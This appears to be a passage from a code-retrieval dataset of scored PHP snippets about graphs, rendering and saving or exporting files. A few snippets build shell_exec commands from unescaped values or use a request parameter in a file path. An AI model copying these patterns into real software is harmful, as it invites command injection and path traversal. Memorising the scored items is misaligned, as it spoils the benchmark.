// G\n $gr->AddEdge($g,7,$l);\n $gr->AddEdge($l,7,$g);\n $gr->AddEdge($g,8,$k);\n $gr->AddEdge($k,8,$g);\n // E\n $gr->AddEdge($e,9,$d);\n $gr->AddEdge($d,9,$e);\n $gr->AddEdge($e,5,$j);\n $gr->AddEdge($j,5,$e);\n $gr->AddEdge($e,8,$i);\n $gr->AddEdge($i,8,$e);\n // D\n $gr->AddEdge($d,6,$h);\n $gr->AddEdge($h,6,$d);\n // H\n $gr->AddEdge($h,2,$i);\n $gr->AddEdge($i,2,$h);\n $gr->AddEdge($h,7,$m);\n $gr->AddEdge($m,7,$h);\n // I\n $gr->AddEdge($i,10,$j);\n $gr->AddEdge($j,10,$i);\n $gr->AddEdge($i,6,$m);\n $gr->AddEdge($m,6,$i);\n // M\n $gr->AddEdge($m,2,$n);\n $gr->AddEdge($n,2,$m);\n // J\n $gr->AddEdge($j,6,$k);\n $gr->AddEdge($k,6,$j);\n $gr->AddEdge($j,9,$n);\n $gr->AddEdge($n,9,$j);\n // K\n $gr->AddEdge($k,5,$l);\n $gr->AddEdge($l,5,$k);\n $gr->AddEdge($k,7,$p);\n $gr->AddEdge($p,7,$k);\n // L\n $gr->AddEdge($l,6,$p);\n $gr->AddEdge($p,6,$l);\n // N\n $gr->AddEdge($n,12,$p);\n $gr->AddEdge($p,12,$n);\n // P\n\n // dd($gr);\n // return $gr->MenorDistancia([INF,INF,0,INF]);\n // return $gr->Show();\n return $gr->Disjtra($a,$p);\n }", "title": "" }, { "docid": "1804541a97b244d6e6f0b36f146f8bb6", "score": "0.48237303", "text": "public function saveDataToFile()\n {\n\n }", "title": "" }, { "docid": "68f86be60486e9a549d57c2e5143a023", "score": "0.48038024", "text": "function saveImage($filename) {\n $this->render();\n\n return $this->renderer->saveImage($filename);\n }", "title": "" }, { "docid": "c36df78c59d5f56c4660483503269c93", "score": "0.48029158", "text": "public function render()\n {\n if (!file_exists($this->file))\n {\n throw new Exception(\"View file: \" . $this->file . \" doesn't exist.\");\n }\n //output to buffer for rendering\n extract($this->data);\n ob_start();\n include($this->file); \n $output = ob_get_contents(); \n ob_end_clean(); \n echo $output; \n }", "title": "" }, { "docid": "c5ee1d59fd4b36697f8b9f1e3ac07402", "score": "0.4796324", "text": "public function save()\n {\n $content = collect($this->data)->transform(function ($item, $key) {\n return $key . '=' . $item;\n })->implode(\"\\n\");\n\n File::put($this->path(), $content);\n }", "title": "" }, { "docid": "7ecf2fde4d6a2e2118298a567e9414fe", "score": "0.4781559", "text": "public function output()\n {\n $data = $this->model->data;\n $message = $this->model->message;\n require_once $this->model->template;\n }", "title": "" }, { "docid": "e615e23cfa5c5dd087f8b030f09d3902", "score": "0.4781047", "text": "public function output_file()\n {\n $file_data = $this->get_cached_path();\n // Create the headers\n $this->_create_headers($file_data);\n\n // Get the file data\n $data = file_get_contents($file_data);\n\n // Send the image to the browser in bite-sized chunks\n $chunk_size = 1024 * 8;\n $fp = fopen('php://memory', 'r+b');\n\n // Process file data\n fwrite($fp, $data);\n rewind($fp);\n while ( ! feof($fp))\n {\n echo fread($fp, $chunk_size);\n flush();\n }\n fclose($fp);\n\n exit();\n }", "title": "" }, { "docid": "2783826abd6e32926efa7593bf4aedbb", "score": "0.47804463", "text": "public function save($file) {}", "title": "" }, { "docid": "72ccfc43f0db64d22bd62c531ab68d6d", "score": "0.47736853", "text": "public function run() {\n $assetUrl = Yii::app()->assetManager->publish(dirname(__FILE__) . '/assets/');\n $this->_assetUrl = $assetUrl;\n\n // Appending holder div\n $this->htmlOptions['id'] = $this->getId();\n echo CHtml::openTag('div', $this->htmlOptions) . CHtml::closeTag('div');\n\n //including scripts\n $this->_includeScripts();\n\n // Get requested chart\n switch ($this->type) {\n case self::CHART_NORMAL: {\n $this->_getNDChart();\n break;\n }\n }\n }", "title": "" }, { "docid": "bdb0d7af275ec35bd5766de6a9b59ae1", "score": "0.4764123", "text": "protected function generateGraphic() {}", "title": "" }, { "docid": "8481a5798ce7c5e3bfc7b216a5b5e9dd", "score": "0.47625706", "text": "abstract protected function getGraph();", "title": "" }, { "docid": "84192d9e501c4c40628573de45227b61", "score": "0.4749288", "text": "public function __invoke()\n {\n $this->collection['Graph'] = $this->graphWriter;\n }", "title": "" }, { "docid": "da731ef3c9752fc25f83db06ce2f77a3", "score": "0.47486562", "text": "public function export_preview_data()\n {\n }", "title": "" }, { "docid": "da731ef3c9752fc25f83db06ce2f77a3", "score": "0.47486562", "text": "public function export_preview_data()\n {\n }", "title": "" }, { "docid": "da731ef3c9752fc25f83db06ce2f77a3", "score": "0.47483465", "text": "public function export_preview_data()\n {\n }", "title": "" }, { "docid": "8cce211fdd892a5dbfa11398c8b76b84", "score": "0.47400245", "text": "public function store(Request $request)\n {\n $user = auth()->user();\n $validator = Validator::make($request->all(), \n [ \n 'name' => 'required',\n ]); \n \n if ($validator->fails()) { \n return response()->json(['message'=>$validator->errors()], 400); \n }\n\n try{\n $diagram = Diagram::create(['name'=>$request->name,'user_id' => $user->id]);\n $nodes = json_decode($request->nodes);\n $edges = json_decode($request->edges);\n\n foreach($nodes as $node)\n {\n $container = new Node([\n 'item_id' => $node->item_id, \n 'diagram_id' => $diagram->id, \n 'label' => $node->data->{'label'}, \n 'type'=>$node->type, \n 'background' => $node->data->{'style'}->backgroundColor, \n 'x' => $node->position->{'x'}, \n 'y' => $node->position->{'y'},\n ]);\n $container->save();\n }\n foreach($edges as $edge)\n {\n $container = new Edge([\n 'item_id' => $edge->item_id, \n 'diagram_id' => $diagram->id, \n 'label' => $edge->label, \n 'animated'=>$edge->animated?1:0, \n 'stroke' => property_exists($edge->data->{'style'}, 'stroke')?$edge->data->{'style'}->stroke:'', \n 'arrow' => $edge->arrowHeadType, \n 'source' => $edge->source,\n 'target' => $edge->target,\n 'type' => $edge->type,\n ]);\n $container->save();\n }\n }catch (QueryException $ex) { // Anything that went wrong\n abort(500, $ex->getMessage());\n }\n return response()->json([\n 'success' => true,\n 'data' => $diagram,\n ], Response::HTTP_CREATED);\n }", "title": "" }, { "docid": "891250533f64035e59dcf1bf385405c6", "score": "0.4726201", "text": "public function index()\n {\n\t\treturn $this->render('graph/editor/index.html.twig');\n }", "title": "" }, { "docid": "461b229bac75272ca1d12dcbf13b939c", "score": "0.47259825", "text": "public function dump()\n {\n $path = $this->getPath();\n $model = $this->getModel();\n $json = json_encode($model, JSON_FORCE_OBJECT);\n if ($json === null) {\n return false;\n }\n else {\n file_put_contents($path, $json);\n return true;\n }\n }", "title": "" }, { "docid": "8a3b03e176c9577eaead232c76ab130c", "score": "0.4725648", "text": "public function render()\n {\n $content = $this->__layoutContent();\n\n extract($this->getViewData());\n ob_start();\n include $content;\n ob_get_flush();\n }", "title": "" }, { "docid": "8b9a23d2de71f9a9eb42b1defd13e0d1", "score": "0.47091052", "text": "public function dump($format = 'html')\n {\n $result = '';\n if ($format == 'html') {\n $result .= \"<div style='font-family:arial; font-weight: bold; padding:0.5em; \".\n \"color: black; background-color:lightgrey;border:dashed 1px grey;'>\".\n \"Graph: \". $this->uri . \"</div>\\n\";\n } else {\n $result .= \"Graph: \". $this->uri . \"\\n\";\n }\n\n foreach ($this->index as $resource => $properties) {\n $result .= $this->dumpResource($resource, $format);\n }\n return $result;\n }", "title": "" }, { "docid": "31bcaf37bb4e314c10b02d0c0a50ffeb", "score": "0.47088906", "text": "public function render() {\n if (!file_exists($this->file_path)) {\n $this->generateImageFile($data, $size, $back, $line, $fill);\n }\n return self::cacheImg($this->file_path);\n }", "title": "" }, { "docid": "aa856d0f935fb4064df2ab82cb200b24", "score": "0.47078124", "text": "public function output($path);", "title": "" }, { "docid": "45b42e16075d6d32b589f6c3f03800b8", "score": "0.47061753", "text": "public function export($filepath);", "title": "" }, { "docid": "0ff7f278dd16515a2b3cdac066090cda", "score": "0.46848652", "text": "public function render()\n {\n header('Content-Type: '.$this->getContentType());\n header('Content-Length: '.filesize($this->path));\n readfile($this->path);\n die();\n }", "title": "" }, { "docid": "a32afe0cedb6bfda24a75004f975b4f3", "score": "0.46846384", "text": "public function salvaGrafico(){\n //Recupera Id manutencao\n $grafico = trim($this->input->post(\"grafico\"));\n $id = trim($this->input->post(\"id\"));\n \n $dir = \"./document/avaliacao/chart/\";\n if (isset($id)){\n $nome = $id.\".png\";\n } else {\n $nome = \"errochart.png\";\n } \n //remove informações do arquivo deixando somente a imagem\n $dados = explode(\",\", $grafico);\n if(count($dados) == 2){\n //decodifica para base64\n $file = base64_decode($dados[1]);\n //Verifica se existe o arquivo e apaga caso existir\n if(file_exists($dir.$nome)){\n unlink($dir.$nome);\n }\n //salvando arquivo\n if (!file_put_contents($dir.$nome, $file)){\n $msg = array(\n \"erro\" => \"Não foi possivel gerar imagem do grafico\"\n );\n } else{\n $msg = array(\n \"arquivo\" => $grafico,\n \"id\" =>$id\n );\n }\n }\n \n echo json_encode($msg);\n \n exit();\n \n }", "title": "" }, { "docid": "0501cc0d29dfc4439ff08d25fc3560e8", "score": "0.46811876", "text": "public function render()\n {\n header('Content-Type: image/png');\n\n imagepng($this->imageResource);\n imagedestroy($this->imageResource);\n }", "title": "" }, { "docid": "8ad9eae8f1fa7cd728740bd14c13048d", "score": "0.46750316", "text": "public function generate()\n\t{\n\t\tfile_put_contents( $this->setPath(), $this->setPostContent() );\n\t}", "title": "" }, { "docid": "22884a70dd0953f98bcba8527cda7025", "score": "0.4668235", "text": "function exportlocal($filename) {\n if(strlen($filename)>0) {\n $this->sName=$filename;\n }\n // trigger_error($filename);\n //debug($this->getCurrentDirectory());\n\n if (!empty($this->settings['output_dir'])) {\n $myfile=$this->getCurrentDirectory() . '/' . $this->settings['output_dir'] . '/'.$filename.\".kml\";\n } else {\n $myfile=$this->getCurrentDirectory() . '/'.$filename.\".kml\";\n }\n\n $tempf = @fopen($myfile, 'w');\n if(!$tempf) {\n return;\n } else {\n $sKml = $this->sHeader . $this->sBody . $this->sFooter;\n fputs($tempf, $sKml);\n }\n if(!fclose($tempf)) {\n //echo \"Error! Couldn't close the file.\";\n }\n return($myfile);\n }", "title": "" }, { "docid": "693e6cacc26ef36d9d45a0b685b23bbb", "score": "0.4656809", "text": "static public function save()\n {\n if( !is_array(self::$_routes) || count(self::$_routes) == 0 )\n {\n\treturn FALSE;\n }\n\n $fn = self::get_filename();\n $fp = fopen($fn,'w');\n if( !$fp ) return FALSE;\n foreach( self::$_routes as &$route )\n {\n\tfwrite($fp,serialize($route).\"\\n\");\n }\n fclose($fp);\n }", "title": "" }, { "docid": "693e6cacc26ef36d9d45a0b685b23bbb", "score": "0.4656809", "text": "static public function save()\n {\n if( !is_array(self::$_routes) || count(self::$_routes) == 0 )\n {\n\treturn FALSE;\n }\n\n $fn = self::get_filename();\n $fp = fopen($fn,'w');\n if( !$fp ) return FALSE;\n foreach( self::$_routes as &$route )\n {\n\tfwrite($fp,serialize($route).\"\\n\");\n }\n fclose($fp);\n }", "title": "" }, { "docid": "10f05aae9d4e87a42e6cdb2fec967e80", "score": "0.46512824", "text": "protected function writeModels()\n {\n $files = $this->modeler->create($this->options);\n\n foreach($files as $file)\n {\n $path = pathinfo($file, PATHINFO_FILENAME);\n $this->line(\" <fg=green;options=bold>create</fg=green;options=bold> $path\");\n }\n }", "title": "" }, { "docid": "2b49f58c7b8317abfbdf3f510e4b9f43", "score": "0.46464556", "text": "public function toPNG();", "title": "" }, { "docid": "ec1392ae04ee6e4f3ccbafa8d331daa1", "score": "0.46440294", "text": "public function generate() {\n\t\t$graph = array();\n\n\t\tforeach ( $this->get_graph_pieces() as $piece ) {\n\t\t\tif ( ! $piece->is_needed() ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t$graph_piece = $piece->generate();\n\n\t\t\t/**\n\t\t\t * Filter: 'wpseo_schema_<class name>' - Allows changing graph piece output.\n\t\t\t *\n\t\t\t * @api array $graph_piece The graph piece to filter.\n\t\t\t */\n\t\t\t$class = str_replace( 'wpseo_schema_', '', strtolower( get_class( $piece ) ) );\n\t\t\t$graph_piece = apply_filters( 'wpseo_schema_' . $class, $graph_piece );\n\t\t\tif ( is_array( $graph_piece ) ) {\n\t\t\t\t$graph[] = $graph_piece;\n\t\t\t}\n\t\t}\n\n\t\tWPSEO_Utils::schema_output( $graph, 'yoast-schema-graph yoast-schema-graph--main' );\n\t}", "title": "" }, { "docid": "5d733477f1d6b78cdd70e0fc649eaf44", "score": "0.46432993", "text": "public function save($file, $path);", "title": "" }, { "docid": "bd5a6a80d37b95ffef54fe9162836f92", "score": "0.46415275", "text": "protected function saving() {\n // This will get reimplemented by children when necessary\n }", "title": "" }, { "docid": "f1eba9e3832ee294de183d4a5ac04183", "score": "0.4637288", "text": "public function run() {\n $this->render('dataSaved', array());\n }", "title": "" }, { "docid": "eb1a273ccaedff553d879692d6291960", "score": "0.46260613", "text": "public function bgsave()\n {\n }", "title": "" }, { "docid": "e888070eada95c7eed4584100cace94a", "score": "0.46239826", "text": "protected function latteView()\n {\n $latte = new Engine();\n \n try {\n $latte->render(__DIR__ . '/../View/' . $this->view . '.latte', $this->latteParameters);\n } catch (\\RuntimeException $exception) {\n //File not found\n echo '[Error] Work in progress.';\n }\n }", "title": "" }, { "docid": "c3b2979ac9fce342260f430fdf2e3215", "score": "0.46218854", "text": "public function display($path, $values = []) {\n\n $values['render'] = $this->render_factory($this->executor);\n\n $this->executor->display($path, $values);\n }", "title": "" }, { "docid": "2fd6b0529d32138f1ff82ea12613dcde", "score": "0.46211603", "text": "private function saveConvertedByPathVisioCache( $fileType ) {\n\t\t# Convert gpml to fileType\n\t\t$gpmlFile = realpath( $this->getFileLocation( FILETYPE_GPML ) );\n\t\t$conFile = $this->getFileLocation( $fileType );\n\t\t$dir = dirname( $conFile );\n\t\twfDebugLog( \"Pathway\", \"Saving $gpmlFile to $fileType in $conFile\" );\n\n\t\tif ( !is_dir( $dir ) && !wfMkdirParents( $dir ) ) {\n\t\t\tthrow new MWException( \"Couldn't make directory: $dir\" );\n\t\t}\n\t\tif ( self::isConvertableByPathVisio( $fileType ) ) {\n\t\t\tself::convertWithPathVisio( $gpmlFile, $conFile );\n\t\t} else {\n\t\t\tthrow new MWException( \"PathVisio couldn't convert file of type \\\"$fileType\\\"\" );\n\t\t}\n\t\treturn $conFile;\n\t}", "title": "" }, { "docid": "efa36567fdfc8519b41a43cee54425d0", "score": "0.4600778", "text": "public function save($path) {\n\t\treturn file_put_contents($path, $this->serialize());\n\t}", "title": "" }, { "docid": "331c471396e33229f116d7a3a1ab14a9", "score": "0.4590672", "text": "protected function renderAsXML() {}", "title": "" }, { "docid": "2ace8e23f7efe2c894ca125915985f3f", "score": "0.45835647", "text": "public function save($filename) {}", "title": "" }, { "docid": "698f978ddb286e9293b3d25c01f79d1c", "score": "0.45829317", "text": "public final function output()\n\t{\n\t\theader(\"Content-Type: text/html; charset=UTF-8\");\n\n\t\t// Load XSLT style.\n\t\t$xsl = new DOMDocument;\n\t\t$xsl->resolveExternals = true;\n\t\t$xsl->substituteEntities = true;\n\t\t$xsl->load($this->player->xslt . $_REQUEST['view'] . \".xsl\");\n\n\t\t// Transform data to HTML.\n\t\t$proc = new XSLTProcessor;\n\t\t$proc->importStyleSheet($xsl);\n\t\techo $proc->transformToXML($this->xmldoc);\n\t}", "title": "" }, { "docid": "60feda1aa99436d4c39fa72caca7ae83", "score": "0.45809406", "text": "public function export($id)\n {\n $NewsAstron = NewsAstron::find($id);\n $NewsAstron->isExported = 1;\n $NewsAstron->save();\n\n $formatter = Formatter::make($NewsAstron, Formatter::JSON);\n $xml = $formatter->toXml();\n\n //config\n $path = '//192.168.0.93/Users/Public/XML/';\n $namefile = $path.\"Viz.xml\";\n $content = $xml;\n\n //save file\n $file = fopen($namefile, \"w\") or die(\"Unable to open file!\");\n fwrite($file, $content);\n fclose($file);\n\n session([\n 'recentHeadlineID' => $NewsAstron->id,\n 'recentHeadline' => $NewsAstron->headline,\n 'recentParagraph_1' => $NewsAstron->paragraph_1,\n 'recentParagraph_2' => $NewsAstron->paragraph_2,\n ]);\n\n return back()->with('status', 'Viz.xml file successfully updated.');\n }", "title": "" }, { "docid": "ad25a191f26fa6d550ec3fb9ccda2198", "score": "0.4577119", "text": "private static function saveDataToNode($data) {\r\n file_put_contents(static::getFilePath(), json_encode($data));\r\n }", "title": "" }, { "docid": "11613bacc88e57e39b6c10fe90a92484", "score": "0.4574526", "text": "public function run(string $layout = self::layout_dot): string {\n // Prepare the Graphviz file\n $graphviz_script = $this->process();\n\n // Execute the Graphviz command:\n // - circo tcode.dot -Tsvg -o tcode-circo.svg\n // - dot tcode.dot -Tsvg -o tcode-dot.svg\n // - fdp tcode.dot -Tsvg -o tcode-fdp.svg\n // - neato tcode.dot -Tsvg -o tcode-neato.svg\n // - sfdp tcode.dot -Tsvg -o tcode-sfdp.svg\n // - twopi tcode.dot -Tsvg -o tcode-twopi.svg\n\n $temp_dir = sys_get_temp_dir() . DIRECTORY_SEPARATOR;\n $graphviz_filename = self::file_prefix . getmypid();\n $graphviz_filename_dot = $graphviz_filename . '.dot';\n $graphviz_filename_svg = $graphviz_filename . '.svg';\n\n file_put_contents($temp_dir . $graphviz_filename_dot, $graphviz_script);\n\n $cmd = 'cd ' . $temp_dir . ' && ' . $layout . ' ' . $graphviz_filename_dot . ' -Tsvg -o ' . $graphviz_filename_svg;\n shell_exec($cmd);\n // unlink($temp_dir . $graphviz_filename_dot);\n\n $tempOut = $temp_dir . $graphviz_filename_svg;\n if (file_exists($tempOut) && filesize($tempOut) > 0) {\n return $tempOut;\n } else {\n return \"\";\n }\n }", "title": "" }, { "docid": "ee5b3c6eb99333a18aa79b5a5f2575c3", "score": "0.45675048", "text": "public function saveToFile(): void\n {\n file_put_contents($this->file, implode(\"\\r\\n\", $this->codes));\n }", "title": "" }, { "docid": "5e399b2bf68eb3b61647ca7beb4df383", "score": "0.45633045", "text": "public function renderOutput() : void;", "title": "" }, { "docid": "f2adf54a947dfdf81c0f7839b729e637", "score": "0.45609215", "text": "public function save()\n {\n $this->currentStatus->lastUpdate = date('m/d/Y H:i:s');\n $data = $this->jsonFromObject();\n file_put_contents($this->jsonStateFile, $data);\n }", "title": "" }, { "docid": "af227754d4a62e6229dd8119ddf33e73", "score": "0.45606834", "text": "public function exportXmlAction() {\n $fileName = 'lastmile.xml';\n $content = $this->getLayout()->createBlock('lastmile/adminhtml_lastmile_grid')\n ->getXml();\n\n $this->_sendUploadResponse($fileName, $content);\n }", "title": "" }, { "docid": "a68e0954cb91d55aa7f1253516179e65", "score": "0.45558363", "text": "private function _doRender(){\n\t\tinclude $this->_viewLocation;\n\t}", "title": "" }, { "docid": "1dfb208a89c647a28304448d4d04565f", "score": "0.4554193", "text": "public function writeFile( $fileName )\n {\n $width = $this->width;\n $height = $this->height;\n $data = $this->valueArray;\n\n shell_exec( \"convert -size {$width}x{$height} xc:transparent -type TrueColorMatte $fileName\" );\n\n // Default background to black\n for ( $x = 0; $x < $width; ++$x )\n {\n $cmd = \"convert $fileName\";\n for ( $y = 0; $y < $height; ++$y )\n {\n // Fix alpha value for imagick\n $data[$x][$y][kaforkl_Image::ALPHA] = str_replace( ',', '.', 1 - ( $data[$x][$y][kaforkl_Image::ALPHA] / 127 ) );\n\n if ( isset( $data[$x][$y] ) )\n {\n $cmd .= \" -fill \\\"rgba(\" . implode( ',', $data[$x][$y] ) . \")\\\" -draw \\\"point {$x},{$y}\\\"\";\n }\n else\n {\n $cmd .= \" -fill \\\"rgba(0,0,0,0)\\\" -draw \\\"point {$x},{$y}\\\"\";\n }\n }\n $cmd .= ' ' . $fileName;\n shell_exec( $cmd );\n }\n }", "title": "" }, { "docid": "1081561a686421adc28e2b7e5718fe0b", "score": "0.45472568", "text": "public function xmlToScreen()\n\t{\n\t\t$fp = fopen($this->outputName, 'rb');\n\t\t// send the right headers\n\t\theader(\"Content-Type: text/xml\");\n\t\theader(\"Content-Length: \" . filesize($this->outputName));\n\t\t// dump the file and stop the script\n\t\tfpassthru($fp);\n\t\texit;\n\t}", "title": "" }, { "docid": "2bde0adbfda12d6391d133fbb7389cd8", "score": "0.45468628", "text": "public function saveTo(string $path);", "title": "" }, { "docid": "7c4c2943a8301e3e3f6fb83e930f6bdd", "score": "0.45401236", "text": "protected function performSave(): void\n {\n $this->resetIds();\n parent::performSave();\n\n if (!count($this->getResources())) {\n return;\n }\n\n $resourceXML = new SimpleXMLElement(static::RELS_XML, LIBXML_NOWARNING);\n\n foreach ($this->resources as $id => $resource) {\n $relation = $resourceXML->addChild('Relationship');\n $relation->addAttribute('Id', $id);\n $relation->addAttribute('Type', $resource->getRelType());\n $relation->addAttribute('Target', $resource->getRelativeTarget($this->getTarget()));\n\n if($resource instanceof External){\n $relation->addAttribute('TargetMode', 'External');\n }\n }\n\n $this->document->getArchive()->addFromString($this->getRelsName(), $resourceXML->asXml());\n }", "title": "" } ]
26d71a0b0829d496c8e6bbe23ccaa28a
Display a listing of the resource.
[ { "docid": "c7fd069fb0ecc3b098a8d996bf025407", "score": "0.0", "text": "public function index()\n {\n $shares = Share::all();\n\n return view('image.index', compact('image'));\n }", "title": "" } ]
[ { "docid": "d4a0ecd8566af1bfd9231147ca1e458f", "score": "0.747447", "text": "public function list()\n {\n try {\n $result = $this->get_all();\n $this->response($result);\n } catch (Exception $e) {\n $this->response(array(\n \"message\" => $e->getMessage()\n ), ERROR_CODE);\n }\n }", "title": "" }, { "docid": "6126929dc3b0a4f22ee22cc3ad8d6a7b", "score": "0.74231887", "text": "public function index() \n\t{ \n\t\t$this->listing();\t\n\t}", "title": "" }, { "docid": "4c31098007bd884125e38a924a90b409", "score": "0.7369999", "text": "public function index()\n {\n $resources = Resource::paginate(10);\n return view('admin.resource.index', [\n 'resources' => $resources\n ]);\n }", "title": "" }, { "docid": "8fa6c385e83466b77bd15a6b86ea32e2", "score": "0.7303385", "text": "public function index()\n {\n $this->_create_list();\n $this->_display();\n\n }", "title": "" }, { "docid": "dd0281461ff38e01dc7daaf263a98684", "score": "0.72681403", "text": "function index() {\n $this->getList();\n }", "title": "" }, { "docid": "0e6388aacce7838ee1c78178d8108829", "score": "0.7265838", "text": "public function index(){\n\t\t\t$this->list();\n\t\t}", "title": "" }, { "docid": "223999e9a02d01dc0cad36705dec31b1", "score": "0.7246801", "text": "public function actionList() {\n $this->_getList();\n }", "title": "" }, { "docid": "9af36ef65a801a9d1ba3b391202f1180", "score": "0.7118591", "text": "public function index()\n {\n $resources = Resource::orderBy('id', 'desc')->paginate(20);\n return view('resource.index')->withResources($resources);\n }", "title": "" }, { "docid": "43a0ac0c5c36c0a0b193022ebde4ce89", "score": "0.7082093", "text": "public function index()\n {\n $config['tableName'] = trans('app.Resources list');\n $config['ignore'] = ['id', 'count', 'created_at', 'updated_at', 'deleted_at'];\n $config['list'] = MBResources::get()->toArray();\n $config['delete'] = 'app.resources.destroy';\n return view('admin.adminList',$config);\n }", "title": "" }, { "docid": "1855faa3b08cf438cac0964b9903bf8a", "score": "0.70128477", "text": "public function index()\n {\n $this->getListingService()\n ->setOrder($this->getOrder())\n ->setPagination($this->getPagination())\n ->getFilters()->add($this->getSearchFilter());\n $this->set(\n [\n $this->getEntityNamePlural() => $this->getListingService()\n ->getList(),\n 'pagination' => $this->getListingService()->getPagination()\n ]\n );\n }", "title": "" }, { "docid": "2e0ed72eb13150f2559131309e8f93b1", "score": "0.699994", "text": "public function listing ()\n {\n // Fetch all questions\n $cacheID = 'listing';\n if (!$this->data['questions'] = $this->zf_cache->load($cacheID)) {\n $this->data['questions'] = $this->question_model->get_with_users();\n $this->zf_cache->save($this->data['questions'], $cacheID, array('all_questions'));\n }\n \n // Load view\n $this->load_view('questions/listing');\n }", "title": "" }, { "docid": "5412f0b9b053fcd0929c40d71994403a", "score": "0.6976877", "text": "public function index()\n {\n try {\n $resources = Resource::all();\n return $this->showAll($resources);\n } catch (Exception $ex) {\n return $this->errorResponse(\"Danh sách trống!\", Response::HTTP_INTERNAL_SERVER_ERROR);\n }\n }", "title": "" }, { "docid": "e31e9a0c7b3d2a9b4bc1a2880b844a81", "score": "0.69206053", "text": "public function indexAction()\n {\n $resource = $this->repo->all();\n if (!$resource) {\n return $this->errorNotFound('Resource not found');\n }\n return $this->apiOk($resource);\n }", "title": "" }, { "docid": "cbc2f6f0039706d1ede6b809aad8c23e", "score": "0.68930495", "text": "public function index()\n\t{\n\t\t//\n\t\t$this->getlist();\n\t\n\t}", "title": "" }, { "docid": "eed18db8f9e2d6b6fa328a727bce13ea", "score": "0.6884406", "text": "public function listingAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('SettingContentBundle:Page')->findBy(array(),array('name' => 'asc'));\n\n return $this->render('SettingContentBundle:Page:index.html.twig', array(\n 'pagination' => $entities,\n ));\n }", "title": "" }, { "docid": "a753301d8fa92e6902db5a211f69a62a", "score": "0.68798536", "text": "public function indexAction()\n {\n if($categoryId = $this->request->getQuery('categoryId')){\n $resource = $this->repo->all($categoryId);\n }else {\n $resource = $this->repo->all();\n }\n if (!$resource) {\n return $this->errorNotFound('Resource not found');\n }\n return $this->apiOk($resource);\n }", "title": "" }, { "docid": "060b373609f7e0db718e407076c66e1d", "score": "0.6861297", "text": "public function indexAction()\n {\n $this->tag->setTitle(__('Firewalls'));\n // Available sort to choose\n $this->filter->add('in_array', function($value) {\n return in_array($value, ['name', 'name DESC', 'status', 'status DESC']) ? $value : null;\n });\n\n // Get networks and prepare pagination\n $paginator = new Paginator([\n \"data\" => Firewalls::find(['order' => $this->request->getQuery('order', 'in_array', 'id', true)]),\n \"limit\" => $this->request->getQuery('limit', 'int', 20, true),\n \"page\" => $this->request->getQuery('page', 'int', 1, true)\n ]);\n\n $this->view->setVars([\n 'pagination' => $paginator->getPaginate(),\n ]);\n }", "title": "" }, { "docid": "efde97fbf9254ea0e2b2b7023e05101a", "score": "0.6855436", "text": "public function indexAction()\n {\n\t\tif(!Engine_Api::_()->core()->hasSubject('list_listing')) {\n\t\t\treturn $this->setNoRender();\n\t\t}\n\n\t\t//GET LISTING SUBJECT\n\t\t$subject = Engine_Api::_()->core()->getSubject();\n\n\t\t//GET VARIOUS WIDGET SETTINGS\n\t\t$this->view->statisticsRating = (int) Engine_Api::_()->getApi('settings', 'core')->getSetting('list.rating', 1);\n\t\t$this->view->truncation = $this->_getParam('truncation', 23);\n\t\t$related = $this->_getParam('related', 'categories');\n\n\t\t$params = array();\n\n\t\tIf($related == 'tags') {\n\n\t\t\t//GET TAGS\n\t\t\t$listingTags = $subject->tags()->getTagMaps();\n\n\t\t\t$params['tags'] = array();\n\t\t\tforeach ($listingTags as $tag) {\n\t\t\t\t$params['tags'][] = $tag->getTag()->tag_id;\n\t\t\t}\n\n\t\t\tif(empty($params['tags'])) {\n\t\t\t\treturn $this->setNoRender();\n\t\t\t}\n\n\t\t}\n\t\telseif($related == 'categories') {\n\t\t\t$params['category_id'] = $subject->category_id;\n\t\t}\n\t\telse {\n\t\t\treturn $this->setNoRender();\n\t\t}\n\n //FETCH LISTINGS\n\t\t$params['listing_id'] = $subject->listing_id;\n $params['orderby'] ='RAND()';\n $params['limit'] = $this->_getParam('itemCount', 3);\n $this->view->paginator = Engine_Api::_()->getDbtable('listings', 'list')->widgetListingsData($params);\n\n if (Count($this->view->paginator) <= 0) {\n return $this->setNoRender();\n }\n }", "title": "" }, { "docid": "0473d264241dfecb205046df754f7ad1", "score": "0.6854999", "text": "public function index() {\n $resources = static::$resource::orderBy(static::$orderBy)->paginate(static::$pageSize);\n return view($this->getView('index'), [static::$varName[1] ?? $this->getResourcePluralName() => $resources]);\n }", "title": "" }, { "docid": "248744b37e08a9b9e31438a427fee7ee", "score": "0.68317884", "text": "public function index()\n {\n $module = Module::get('Resources');\n \n if(Module::hasAccess($module->id)) {\n return View('la.resources.index', [\n 'show_actions' => $this->show_action,\n 'listing_cols' => Module::getListingColumns('Resources'),\n 'module' => $module\n ]);\n } else {\n return redirect(config('laraadmin.adminRoute') . \"/\");\n }\n }", "title": "" }, { "docid": "954a21a94c60b4569f28c882641e7298", "score": "0.6827928", "text": "public function index()\n {\n return view('admin.resources.index', [\n 'resources' => Resource::published()->get()\n ]);\n }", "title": "" }, { "docid": "ac3d7b3949ed4508eaeabfca96b1ae5e", "score": "0.6819426", "text": "protected function listAction()\n {\n $this->dispatch(EasyAdminEvents::PRE_LIST);\n\n $extFilters = $this->request->query->get('ext_filters');\n if(isset($extFilters['entity.gallery'])) {\n $dql = 'entity.gallery = ' . $extFilters['entity.gallery'];\n $this->entity['list']['dql_filter'] = $dql;\n }\n \n $fields = $this->entity['list']['fields'];\n $paginator = $this->findAll($this->entity['class'], $this->request->query->get('page', 1), $this->entity['list']['max_results'], $this->request->query->get('sortField'), $this->request->query->get('sortDirection'), $this->entity['list']['dql_filter']);\n\n $this->dispatch(EasyAdminEvents::POST_LIST, ['paginator' => $paginator]);\n\n $parameters = [\n 'paginator' => $paginator,\n 'fields' => $fields,\n 'batch_form' => $this->createBatchForm($this->entity['name'])->createView(),\n 'delete_form_template' => $this->createDeleteForm($this->entity['name'], '__id__')->createView(),\n ];\n\n return $this->executeDynamicMethod('render<EntityName>Template', ['list', $this->entity['templates']['list'], $parameters]);\n }", "title": "" }, { "docid": "e4a0d12ede1642140b2b2864bea7bde8", "score": "0.68160284", "text": "public function show_list();", "title": "" }, { "docid": "b27b06ba87e23efaf02018ba6a48d4b4", "score": "0.68072474", "text": "public function index()\n {\n /// Get cars\n $cars = Car::paginate();\n\n // Return collection of articles as a resource\n return CarResource::collection($cars);\n }", "title": "" }, { "docid": "a63fe3d362e9ed8bdeb8c498c0f70dc8", "score": "0.6806393", "text": "public function listAction()\n 